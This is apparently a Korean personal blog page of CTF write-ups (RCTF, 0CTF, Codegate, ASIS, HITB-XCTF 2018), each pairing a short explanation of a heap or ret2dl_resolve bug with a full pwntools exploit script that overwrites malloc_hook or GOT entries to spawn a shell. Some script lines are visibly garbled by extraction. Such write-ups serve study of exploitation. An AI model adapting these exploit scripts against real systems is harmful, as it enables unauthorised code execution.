HanJeouk의 개인공부 블로그

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

확인

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

확인

2018 Rctf writeup

CTF2018. 5. 25. 20:29

1. babyheap (44 solved)

read를 입력받을 때 off_by_one 발생. 이걸로 Poison Null byte가 가능해진다. poison null byte로 컨트롤할 수 있는 fastbin 사이즈 청크를 만들고 그 청크가 위치한 주소에 small bin 사이즈 청크를 만들고 free 시켜서 leak이 가능하다. 그 다음 fastbin forge로 malloc_hook을 one_shot으로 덮는다.

FLAG: RCTF{Let_us_w4rm_up_with_a_e4sy_NU11_byte_overflow_lul_7adf58}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import *
#p = process(['./babyheap'],env={'LD_PRELOAD':'./Babyheap.so'})
= remote('babyheap.2018.teamrois.cn',3154)
libc = ELF("./Babyheap.so")
def alloc(size,content):
        p.sendlineafter("choice: ","1")
        p.sendlineafter("size: ",str(size))
        p.sendlineafter("content: ",content)
 
def show(idx):
        p.sendlineafter("choice: ","2")
        p.sendlineafter("index: ",str(idx))
 
def delete(idx):
        p.sendlineafter("choice: ","3")
        p.sendlineafter("index: ",str(idx))
 
alloc(60,"A"*52+p64(0))
alloc(0x100,"B"*240+p64(0x100))
alloc(130,"C"*40)
 
delete(1)
delete(0)
 
alloc(72,"a"*64+p64(0))
delete(1)
alloc(0x80,"D"*8)
alloc(0x60,"E"*0x20)
 
delete(1)
delete(2)
 
alloc(0x80,"F"*0x50)
alloc(0xf0,"G"*0xf0)
alloc(0xa0,"H"*0x50)
 
delete(2)
show(3)
p.recvuntil("content: ")
leak = u64(p.recv(6)+"\x00\x00")
base = leak -0x3c4b78
malloc_hook = base+0x3c4b10
fake = malloc_hook-0x23
one = base+0x4526a
 
alloc(0xf0,"g"*0x50)
 
delete(1)
delete(3)
delete(4)
 
alloc(0x100,"A"*0x80+p64(0)+p64(0x70)+"B"*0x60+p64(0)+p64(0x20cc1))
delete(1)
delete(2)
 
print "malloc_hook: " + hex(malloc_hook)
print "fake_add: " + hex(fake)
 
alloc(0x100,"A"*0x80+p64(0)+p64(0x70)+p64(fake))
alloc(0x60,"j"*8)
alloc(0x60,"P"*0x13+p64(one))
 
p.sendlineafter("choice: ","1")
p.sendlineafter("size: ","1")
p.sendline("cat flag")
p.interactive()
 
cs


2. RNote3 (33 solved)

delete 함수에서 ptr을 초기화하지 않아서 가리키는 포인터를 이용하여 전역변수에 등록된 힙 포인터를 0으로 초기화 시키지 않을 수 있다. 그렇게 릭을 하고 똑같은 방식으로 fastbin 청크로 만들고 free된 청크 fd에 malloc hook주소를 넣고 fastbin forge 시켜서 malloc_hook을 one_shot으로 덮은 다음에 free에서 오류를 일으켜 malloc를 호출시키게 해서 풀었다.

FLAG: RCTF{P1e4se_Be_C4refu1_W1th_Th3_P0inter_3c3d89}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import*
= process(["./RNote3"],env = {'LD_PRELOAD':'./rnote.6'})
#p = remote('rnote3.2018.teamrois.cn',7322)
def add(title,size,content):
        p.sendline("1")
        p.sendlineafter("title: ",str(title))
        p.sendlineafter("size: ",str(size))
        p.sendafter("content: ",str(content))
def view(title):
        p.sendline("2")
        p.sendlineafter("title: ",str(title))
def edit(title,content):
        p.sendline("3")
        p.sendlineafter("title: ",str(title))
        p.sendlineafter("content: ",str(content))
def delete(title):
        p.sendline("4")
        p.sendlineafter("title: ",str(title))
print p.recvline()
add("A",0xf8,"A"*8+"\x0a")
add("A",0xf8,"A"*8+"\x0a")
delete("A")
delete("A")
add("A",0xf8,"A"*0x10+"\n")
delete("qwe")
view("\x00")
p.recvuntil("note content: ")
base = u64(p.recv(6)+"\x00\x00")-0x3c4b78
address = base+0x3c4aed
one = base+0xf02a4
print "base: " + hex(base)
print "Attack_add: " + hex(address)
print "one: " + hex(one)
add("A",0xf8,"A"*0x10+"\x0a")
add("AA",0x68,"A"*0x68)
add("AA",0x68,"A"*0x68)
delete("AA")
delete("AA")
add("AA",0x68,"A"*0x68)
delete("qwe")
edit("\x00",p64(address))
add("AA",0x68,"A"*0x68)
add("AA",0x68,"A"*0x13+p64(one)+'\x0a')
delete(2)
p.interactive()
 
cs


3. RNote4 (24 solved)

취약점은 edit에서 원하는 사이즈 만큼 청크에 입력이 가능해서 포인터 부분을 조작할 수 있는 것이다. 이것을 이용해서 자신이 원하는 주소에 원하는 값을 넣는게 가능해진다. fake strtab을 만들고 원래 strtab을 가리키고 있던 포인터를 내가 만든 fake strtab으로 조작했다. free를 system으로 바꿨다. 그 전까지의 함수들은 사용하지 않기 때문에 다른 값으로 덮어도 상관없다. 그 뒤에 /bin/sh라는 문자열을 가진 청크를 하나 만들고 그 청크를 free 시켜서 풀었다.

FLAG: RCTF{I_kn0w_h0w_dl_f1xup_w0rks_503f8c}


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import*
= process("./RNote4")
#p = remote('rnote4.2018.teamrois.cn',6767)
strtab = 0x601eb0
def add(size,content):
        p.send(p8(1))
        p.send(p8(size))
        p.send(content)
 
def edit(idx,size,content):
 
        p.send(p8(2))
        p.send(p8(idx))
        p.send(p8(size))
        p.send(content)
 
def delete(idx):
        p.send(p8(3))
        p.send(p8(idx))
 
add(0x20,"A"*0x20)
add(0x20,"B"*0x20)
edit(0,0x40,"a"*42+p64(0x21)+"a"*6+p64(0x602100))
edit(1,0x65,"A"*0x5f+"system")
 
edit(0,0x40,"a"*42+p64(0x21)+"a"*6+p64(strtab))
edit(1,0x8,p64(0x602100))
 
add(0x7,"/bin/sh")
delete(2)
p.interactive()
 
cs


 

'CTF' 카테고리의 다른 글

??CTF 2  (0) 2018.11.29
??CTF 1  (0) 2018.11.29
2018 0ctf babystack  (0) 2018.05.25
2015 Codegate final yocto  (0) 2018.05.09
2018_Asis_CTF Just Sort!  (0) 2018.05.03

2018 0ctf babystack

CTF2018. 5. 25. 18:56

오랜만에 라이트업 포스팅을 한다  ㅎㅎㅎㅎ

우선 보호기법을 체크하자.

IDA로 문제를 보면


이게 끝이다. PlaidCTF의 ropasaurusrex가 생각난다. ㅋㅋㅋ

여기서 BOF가 발생하는데 프로그램 안에서 puts 같은 출력함수를 사용하지 않아서 Leak이 불가능하고 입력받을 수 있는 버퍼의 크기가 0x40밖에 되지 않아서 ROP를 사용하기 힘들다.

그래서 return_to_dl_resolve 기법을 사용하여 풀었다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import*
= process("./babystack")
elf = ELF("./babystack")
p3r = 0x080484e9
p1r = 0x080484eb
bss = 0x0804a020
leaveret = 0x080483a8
jmp_dl = 0x80482f0
strtab = 0x804822c
symtab = 0x80481cc
jmprel = 0x80482b0
binsh = 0x804a3b3
 
reloc = 0x1ed0+0xb0+0x50+0x100+0x4
elf32_rel = p32(elf.got["read"])+p32(0x21d07)
symtab = p32(0x1f70+0xb0+0x50+0x100+0x10)+p32(0)+p32(0)+p32(0x12)
 
payload = "A"*0x28
payload += "B"*4
payload += p32(elf.plt["read"])
payload += p32(0x0804843b#back to main
payload += p32(0)
payload += p32(bss+0x150+0xb0+0x50+0x100
payload += p32(80)
 
p.send(payload)
p.send(p32(jmp_dl)+p32(reloc)+p32(elf.plt["read"])+"AAAA"+p32(binsh)+elf32_rel+"A"*16+symtab+"system\x00"+"/bin/sh\x00")
 
payload2 = "a"*0x28
payload2 += p32(bss+0x150+0xb0+0x50+0x100-4)
payload2 += p32(leaveret)
 
p.send(payload2)
p.interactive()
 
cs

문제를 풀면서 주의해야 할 점은 전역변수에 구조체를 전부설정하고 전역변수 주소를 esp로 돌려야 하는데 그 과정을 fake_ebp를 이용해서 돌려줘야 한다.

또 전역변수에다가 바로 dl resolve를 시도하면 esp가 전역변수 주소라서 프로그램이 실행되면서 들어가는 값들이 전부 전역변수에 들어가게 된다. 그러다가 잘못되서 전역변수 전에 있는 함수 주소를 다른 값으로 덮어버릴 수도 있기 때문에 전역변수+500? 정도로 설정해준다. 

27번째 줄을 설명하자면 나중에 leave ret을 해주면서 esp가 전역변수 주소로 바뀌고 pop eip를 해주면서 mov eip esp가 진행되니 esp에 dl_resolve 주소를 넣어주면 나중에 dl_resolve를 실행시킬 것이다. 

reloc은 leave ret이 진행되면서 인자로 쓰일 fake reloc 오프셋이다. 

gdb를 봐가며 풀었는데 read 부터 binsh까지는 ROP 같은 느낌으로 진행되는 것 같다. 

나머지는 일반적인 ret2dl 기법과 동일하다.

문제를 풀면서 구조체는 다 짜놨는데 dl_resolve를 어떻게 실행할 지 몰라서 시간이 꽤 걸렸던 문제였다. 이제 re2dl 기법 문제들은 그만 풀어봐도 될 것 같다. 다른 거 해야지




'CTF' 카테고리의 다른 글

??CTF 1  (0) 2018.11.29
2018 Rctf writeup  (1) 2018.05.25
2015 Codegate final yocto  (0) 2018.05.09
2018_Asis_CTF Just Sort!  (0) 2018.05.03
2018_Asis_CTF Cat  (0) 2018.05.03

2015 Codegate final yocto

CTF2018. 5. 9. 18:06

Return_to_dl_resolve 기법을 공부하면서 풀어본 문제다. 

이 기법은 파일이 dynamic link 방식을 사용할 때만 사용가능하다.

우선 보호기법을 체크하자.

NX빼고 없다! 

이제 분석을 하러가자.

glob이라는 전역변수에 입력을 받고 atoi 함수를 이용해서 정수로 바꾼다.

그리고 strchr 함수를 이욯해서 '.' 문자 뒤에 있는 값을 저장하고 JUMPOUT으로 그 값으로 점프한다.

.111.0xabcdef  이렇게 값을 넣으면 스택에 111이랑 값을 문자열이 있는주소(glob)가 들어간다.

이렇게 값을 넣으면 스택에 값이 들어가면서 원래 esp에 있던 값이 변조된다.

이걸 이용해서 reloc_offset을 조작할 수 있다. reloc 말고도 다른 오프셋들도 다 조작해야한다.

기법 자체는 이해가 잘됐는데 문제를 풀며 오프셋을 맞추는 과정에서 엄청 오래 걸렸다 ;;;;.

그래서 오프셋 구하는 법을 익스코드와 같이 올리며 써본다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import*
= process("./yocto")
strtab = 0x80481fc
symtab = 0x804818c
jmprel = 0x8048270
glob = 0x080495c0
rel = p32(0x08049540)+p32(0x14607)
sym = p32(0x1400+p32(0)*2+p32(0x12)
 
payload = '.'+str(0x1374#push glob-jmprel
payload += '.' +str(0x80482a0#jump 
payload += ';sh\x00' #;sh\x00 = ;sh;
payload += 'a'*17
payload += rel
payload += sym
payload += "system"
p.send(payload)
p.interactive()
 

 
#1. glob_elf32_rel-jmprel
#2. (glob_symtab-symtab)/16
#important! (glob_symtab-symtab)/16*16=glob_symtab
#3. glob_system-strtab
 
cs

line 22~25가 설명인데 말로 풀어보자면

JMPREL+reloc_offset을 더하면 특정함수의 elf_32_rel 구조체의 주소인 걸 알 수 있다.

우리는 elf_32_rel 구조체를 glob 영역에다가 쓰고 reloc_offset을 조작하여 JMPREL+fake_reloc_offset을 했을 때 glob에다가 쓴 조작된 elf_32_rel 주소를 가리키게 해야한다.

JMPREL + printf_offset = printf_elf32_rel이라고 하자.

그러면 printf_elf32_rel - JMPREL = printf_offset일 것이다. 이렇게 elf32_rel 주소에다가 JMPREL을 빼면 오프셋을 구할 수 있다. 

이제 실제로 구해보겠다. 

#STRTAB SYMTAB JMPREL 주소는 readelf -a yocto | grep "" 을 이용해서 구할 수 있다.

JMPREL + fake_offset = glob_elf32_rel이고 fake_offset = glob_elf32_rel - JMPREL이다

우리가 만든 glob_elf32_rel의 주소는 

0x80495e4이다. readelf로 구한 JMPREL의 주소는 0x8048270이다.

이제 fake_offset = glob_elf32_rel - JMPREL에 맞춰서 빼면?

이렇게 오프셋을 구했다. 이제 이 값을 reloc_offset으로 넣으면 elf32_rel 구조체의 위치가 glob쪽으로 바뀔 것이다.

이제 elf32_rel의 구조체를 조작해서 SYMTAB의 위치를 조작해야한다. elf32_rel 구조체는 8바이트로 이루어져 있는데 4바이트는 함수의 got, 3바이트는 SYMTAB에서의 인덱스 나머지 1바이트는 타입이다. 우리는 이 3바이트를 조작해야한다. 이 3바이트 즉 SYMTAB에서의 인덱스를 glob이 있는 쪽으로 돌려야 한다. SYMTAB의 구조체는 인덱스 하나당 16바이트다. 아까 했던 것처럼 일단 glob에서 만든 fake_SYMTAB 위치에서 SYMTAB의 주소를 빼자.

내가 만든 전역변수에 있는 fake_SYMTAB의 위치는 0x80495ec이다. 그리고 구한 SYMTAB의 주소는 0x804818c이다. 이제 빼면

0x1360이라고 나온다. 여기서 중요한데 아까 말했듯이 SYMTAB의 구조체는 인덱스 하나당 16바이트라고 했다. 그러면 0x1360을 16으로 나눠야 glob까지의 인덱스의 개수가 나온다. 그리고 더 중요한게 나온다.

0x1360/16을 했을 때 나머지가 없어야 한다. 나머지가 1이라도 있으면 안된다. 익스코드를 보면 a를 17개 넣어줬는데 그게 바로 딱 나눠떨어지는 주소로 설정하기 위해 값을 넣은 것이다.

0x1360/16을 하고 검산하면

똑같다!

이제 마지막으로 SYMTAB 구조체만 설정해주면 된다.

SYMTAB 구조체는 16바이트다. 

[4바이트 4바이트 4바이트 1바이트 1바이트 2바이트] 이렇게 돼 있다.

이 구조체에서 첫번째와 다섯번째가 중요하다.

첫 번째는 함수이름이 있는 주소와 STRTAB을 뺐을 때 나오는 오프셋이다. 여기를 조작해야 한다.

다섯 번째는 &3을 해서 함수가 이전에 호출됐었는지 처음인지 체크한다. 그래서 무조건 이 부분은 0으로 해야한다.

나머지는 0으로 해도 상관없다. glob에 system이라는 문자열을 넣어서 그 주소와 STRTAB 주소를 빼서 오프셋을 구한 다음에 구조체 처음에 넣으면 된다.

system 문자열이 있는 주소는 0x80495fc이다.

이제 STRTAB의 주소와 빼면 오프셋이 구해진다.

오프셋이 구해졌다.

이제 시스템 함수가 호출될 것이다. 근데 인자는 어디다 넣어야 할까? 함수가 호출될 때 바로 뒤에 있는 주소가 인자가 된다고 한다. 그래서 호출하는 부분 뒤에 바로 ;sh\00를 넣어서 쉘을 땄다. ;sh\x00말고 ;sh;로 해도 쉘이 따진다. 




'CTF' 카테고리의 다른 글

2018 Rctf writeup  (1) 2018.05.25
2018 0ctf babystack  (0) 2018.05.25
2018_Asis_CTF Just Sort!  (0) 2018.05.03
2018_Asis_CTF Cat  (0) 2018.05.03
2018 HITB-XCTF d  (0) 2018.04.15

2018_Asis_CTF Just Sort!

CTF2018. 5. 3. 00:50

푸는 방식은 Cat과 거의 똑같다.

다른게 있다면 이 문제는 search라는 함수가 있는데 search를 분석해보면

사이즈를 어떻게 할당하던 무조건 read를 0x64만큼 받는다. 힙 오버플로우가 발생한다. 이걸 이용해서 똑같이 청크를 가리키고 있는 포인터를 조작하여 릭과 공격을 하면 된다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import*
#p=process("./just_sort")
p=remote('159.65.125.233',6005)
elf =ELF("./just_sort")
def insert(size,memo):
        p.sendlineafter("> ","1")
        p.sendlineafter("> ",str(size))
        print p.sendlineafter("> ",memo)
 
def edit(has,pos,memo):
        p.sendlineafter("> ","2")
        p.sendlineafter("> ",str(has))
        p.sendlineafter("> ",str(pos))
        print p.sendlineafter("> ",memo)
 
def Print():
        p.sendlineafter("> ","3")
 
def search(many,value):
        p.sendlineafter("> ","4")
        p.sendlineafter("> ",str(many))
        print p.sendafter("> ",value)
 
def delete(has,pos):
        p.sendlineafter("> ","5")
        p.sendlineafter("> ",str(has))
        print p.sendlineafter("> ",str(pos))
 
insert(16,"a"*16)
insert(16,"b"*16)
delete(1,0)
search(16,"A"*16+p64(0x80)+p64(0x21)+"A"*16+p64(0)+p64(0x21)+p64(0)+p64(elf.got["free"]))
 
Print()
print p.recvuntil("hash_id:1")
print p.recvuntil("0: \"")
free=u64(p.recv(6)+"\x00\x00")
base = free-0x844f0
one =base+0xf02a4
edit(1,0,p64(one))
delete(1,0)
 
p.interactive()
cs

다른 문제들도 풀어야겠다 ㅎ

'CTF' 카테고리의 다른 글

2018 0ctf babystack  (0) 2018.05.25
2015 Codegate final yocto  (0) 2018.05.09
2018_Asis_CTF Cat  (0) 2018.05.03
2018 HITB-XCTF d  (0) 2018.04.15
2018 Codegate Final heapbabe & 후기  (0) 2018.04.08

2018_Asis_CTF Cat

CTF2018. 5. 3. 00:41

메인 함수를 보자!

이렇게 되어있다!

우선 create 함수를 보면 함수가 한번 실행될 때 3번을 할당한다.

먼저 포인터 청크를 하나 만들고 name 청크 kind 청크를 만들어서 관리한다.

그 다음으로 edit 함수를 보자

create와 같이 청크 3개를 할당한다.

n을 누르면 free를 하는데 전역변수 0x6020f0을 0으로 초기화 시키지 않는다. 그렇게 되면 다음부터 edit 함수를 쓸 때는 할당하지 않고 바로 0x6020f0쪽에 값을 넣을 수 있게 된다. 그래서 그쪽에 청크를 만들고 edit을 시키면 청크 포인터를 조작할 수 있다. 

나는 그걸 이용해서 free를 puts로 덮어서 릭을 하고 다시 free를 one_shot으로 덮어서 풀었다. print 함수를 썼으면 free를 puts로 안덮고 그냥 릭할 수 있었는데 까먹었었다 ㅎㅎ

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import*
#p=process("./Cat")
p=remote('178.62.40.102',6000)
elf = ELF("./Cat")
 
def create(name,kind,old):
        p.sendlineafter("> ","1")
        p.sendlineafter("> ",name)
        p.sendlineafter("> ",kind)
        print p.sendlineafter("> ",str(old))
 
def modify(idx,name,kind,old,select):
        p.sendlineafter("> ","2")
        p.sendlineafter("> ",str(idx))
        p.sendlineafter("> ",name)
        p.sendlineafter("> ",kind)
        p.sendlineafter("> ",str(old))
        print p.sendlineafter("n> ",select)
 
def print1(idx):
        p.sendlineafter("> ","3")
        print p.sendlineafter("> ",str(idx))
 
def print2(idx):
        p.sendlineafter("> ","4")
 
def delete(idx):
        p.sendlineafter("> ","5")
        p.sendlineafter("> ",str(idx))
 
create("AAAA","AAAA",10)
modify(0,"BBBB","BBBB",10,"n")
create(p64(elf.got["free"]),p64(elf.got["free"]),10)
modify(0,p64(elf.plt["puts"]),"T"*16+p32(elf.got["puts"]),"1","n")
 
delete(0)
puts = u64(p.recv(6)+"\x00\x00")
base = puts-0x6f690
one = base+0xf02a4
print "puts: " + hex(puts)
print "base: " + hex(base)
modify(1,p64(one),"T"*16,10,"n")
p.sendline("cat /home/pwn/flag")
p.interactive()
 
cs




'CTF' 카테고리의 다른 글

2015 Codegate final yocto  (0) 2018.05.09
2018_Asis_CTF Just Sort!  (0) 2018.05.03
2018 HITB-XCTF d  (0) 2018.04.15
2018 Codegate Final heapbabe & 후기  (0) 2018.04.08
2017 Codegate Final building_owner  (0) 2018.03.29

2018 HITB-XCTF d

CTF2018. 4. 15. 23:54

대회가 끝나고 푼 문제인데 취약점을 찾아놓고 못 풀어서 아쉬움이 남는 문제였다. 

우선 취약점은 read message 안에있는 할당하는 부분에서 발생한다.

입력한 값의 개수를 쉬프트 연산을 하고 3을 곱한다음 1을 더해서 할당하는데 할당하고 값을 넣는 과정에서 값을 암호화? 하는데 들어간 값을 보면 다음 청크의 prev_size와 size 1바이트를 \x00으로 덮을 수 있다(off_by_one).

근데 무조건적으로 prev_size와 size를 덮을 수 있는게 아니라서 하나하나 넣어보며 확인해야한다.

그래서 prev_size와, off_by_one을 이용할 수 있는 기법을 생각하다가 house_of_einherjar가 생각난다.

가물가물하다면 여기로 -> house_of_einherjar

house_of_einherjar을 이용하여 조작할 수 있는 fastbin 청크를 만들었다.

조작할 수 있는 fastbin 청크를 free시키고 그 청크의 fd를 전역변수 안에 있는 힙 주소로 조작시켰다.

로컬에서는 힙 영역이 0x60으로 시작하기 때문에 그 부분을 사이즈로 맞춰서 fd로 넣어줬다.

이렇게!

이제 전역변수에 청크가 할당되었으니 릭과 공격이 가능하다.

전역변수에 plt와 got를 적절히 사용하여 릭과 공격을 하면 된다.

그런데 공격할 때 문제가 발생한다. 릭과 공격을 할때는 edit 함수를 이용하는데 edit 함수 안에있는 strlen 함수 때문에 함수의 got에 system가 다 안덮힌다. 그래서 strlen_got에 alarm_plt를 넣었다. alarm 은 이전에 설정된 알람이 시그널을 전달할 때까지 남은 시간을 초 단위 숫자로 반환하거나, 이전에 설정된 알람이 없을경우 0을 되돌려 준다. 그래서 한정적이었던 사이즈를 늘릴 수 있다. 이제 system을 덮을만큼 충분히 길이가 된다. 그래서 atoi_got를 system으로 덮어서 쉘을 땄다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import*
= process("./d")
elf = ELF("./d")
 
def add(idx,msg):
        p.sendlineafter("? :","1")
        p.sendlineafter("? :",str(idx))
        p.sendlineafter("msg:",msg)
 
def edit(idx,msg):
        p.sendlineafter("? :","2")
        p.sendlineafter("? :",str(idx))
        p.sendlineafter("msg:",msg)
 
def wipe(idx):
        p.sendlineafter("? :","3")
        p.sendlineafter("? :",str(idx))
 
sleep(3)
alarm_plt = 0x4007b0
add(0,"a"*54)
add(1,"a"*680)
add(2,"a"*340)
 
edit(1,"b"*496+p64(0x200)+p64(0x60))
wipe(1)
edit(0,"a"*40)
 
add(3,"c"*543)
add(4,"b"*107)
edit(4,"b"*60)
wipe(3)
wipe(2)
wipe(4)
 
add(5,"a"*680)
edit(5,"a"*400+p64(0x1a0)+p64(0x60)+p64(0x6021aa))
add(6,"b"*107)
add(2,"b"*107#control
 
edit(2,"b"*46+p64(elf.got["free"])+p64(elf.got["strlen"]))
edit(13,p32(elf.plt["puts"])+"\x00\x00\x00")
 
edit(2,"b"*30+p64(elf.got["puts"]))
wipe(11)
puts = u64(p.recv(6)+"\x00\x00")
base = puts-0x6f690
system = base+0x45390
binsh = base+0x18cd57
print "puts: " + hex(puts)
print "system: " + hex(system)
edit(2,"a"*14+p64(elf.got["atoi"]))
edit(14,p64(elf.plt["alarm"]))
edit(9,p64(system))
p.sendlineafter("? :","/bin/sh")
p.interactive()
 
cs


'CTF' 카테고리의 다른 글

2018_Asis_CTF Just Sort!  (0) 2018.05.03
2018_Asis_CTF Cat  (0) 2018.05.03
2018 Codegate Final heapbabe & 후기  (0) 2018.04.08
2017 Codegate Final building_owner  (0) 2018.03.29
2017 Codegate Final petshop  (0) 2018.03.27

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

확인

일단 C++로 된 문제다. 보호기법을 체크해보자.


구조체들을 분석해보면

대충 이렇게 생겼다.

manage 함수를 보면 Edit와 Change 함수가 있는데 Edit 함수는 일반적인 Edit 함수처럼 원래 있던 값들을 수정할 수 있게 해준다. Change 함수는 company를 restaurant로 바꾸거나 apartment 로 바꿀수 있게 해준다.

그래서 apartment를 restaurant를 바꿔준다면 restaurant의 구조체 변수 people, money, menu, price, customer_pay를 추가적으로 확인할 수 있다.

이걸로 다른 청크의 데이터를 릭하거나 바꿀 수 있다.

string 객체를 이용해서 릭을 했다. string은 할당한 값보다 크게 받으면 free를 시키고 다시 할당시킨다.

그래서 free가 되면 unsorted bin이 나온다. 그리고 건물을 할당하게 되면 건물 구조체 안에 unsorted_bin이 들어가서 릭이 가능하다. 

공격은 apartment 하나를 restaurant로 change한다. 그리고 edit를 하면 구조체 apartment로 할당한 구조체가 restaurant로 바뀌면서 people, money, menu, price, customer_pay를 추가적으로 조작할 수 있다.

조작하기 전에 people, money, menu, price, customer_pay가 위치한 주소는 다음 청크의 영역일 것이다.

restaurant로 바꾸고 price를 보니 다음 청크의 name 영역이다. 이걸 __free_hook으로 바꾸고 edit을 시키면

__free_hook에 값을 덮을 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import*
= process("./owner")
def apartment(name,floor,many,describe):
        p.sendlineafter("> ","1")
        p.sendlineafter("? ",name)
        p.sendlineafter("? ",str(floor))
        p.sendlineafter("? ",str(many))
        p.sendlineafter("it : ",describe)
 
#### Leak ####
apartment("1","1","1","1")
apartment("A"*8,"1","1","B"*200)
apartment("2","2","2","2")
p.sendlineafter("> ","4")
p.sendlineafter("> ","2")
p.sendlineafter("> ","1")
p.sendlineafter("> ","3")
p.sendlineafter("> ","2")
 
p.sendlineafter("> ","4")
p.sendlineafter("> ","3")
 
 
p.sendlineafter("> ","4")
p.sendlineafter("> ","1")
p.sendlineafter("> ","3")
p.sendlineafter("> ","1")
 
p.recvuntil("price of menu : ")
leak = int(p.recv(15),10)
base = leak - 0x3c4b98+0x20
malloc_hook = base +0x3c4b10
one = base+0xf1147
#### Exploit ####
p.sendlineafter("> ","9")
p.sendlineafter("> ","9")
p.sendlineafter("> ","2")
p.sendlineafter("> ","1")
p.sendlineafter("> ","1")
p.sendlineafter("> ","2")
p.sendlineafter("> ","9")
 
p.sendlineafter("> ","1")
p.sendlineafter("> ","3")
p.sendlineafter("> ","2")
p.sendlineafter("> ","6")
p.sendlineafter(" : ",str(malloc_hook))
p.sendlineafter("> ","9")
p.sendlineafter("> ","1")
p.sendlineafter("> ","1")
p.sendlineafter("> ","1")
p.sendlineafter(" : ",p64(one))
p.sendlineafter("> ","9")
p.sendlineafter("> ","9")
p.sendlineafter("> ","9")
p.sendlineafter("> ","1")
 
print "Leak: " +  hex(leak)
print "Base: " +  hex(base)
print "malloc_hook: " + hex(malloc_hook)
print "one_shot: " + hex(one)
p.sendline("id")
p.interactive()
 
cs


'CTF' 카테고리의 다른 글

2018 HITB-XCTF d  (0) 2018.04.15
2018 Codegate Final heapbabe & 후기  (0) 2018.04.08
2017 Codegate Final petshop  (0) 2018.03.27
2016 Hitcon sleepy holder [Again]  (0) 2018.03.22
2016 Hitcon secret holder [Again]  (0) 2018.03.21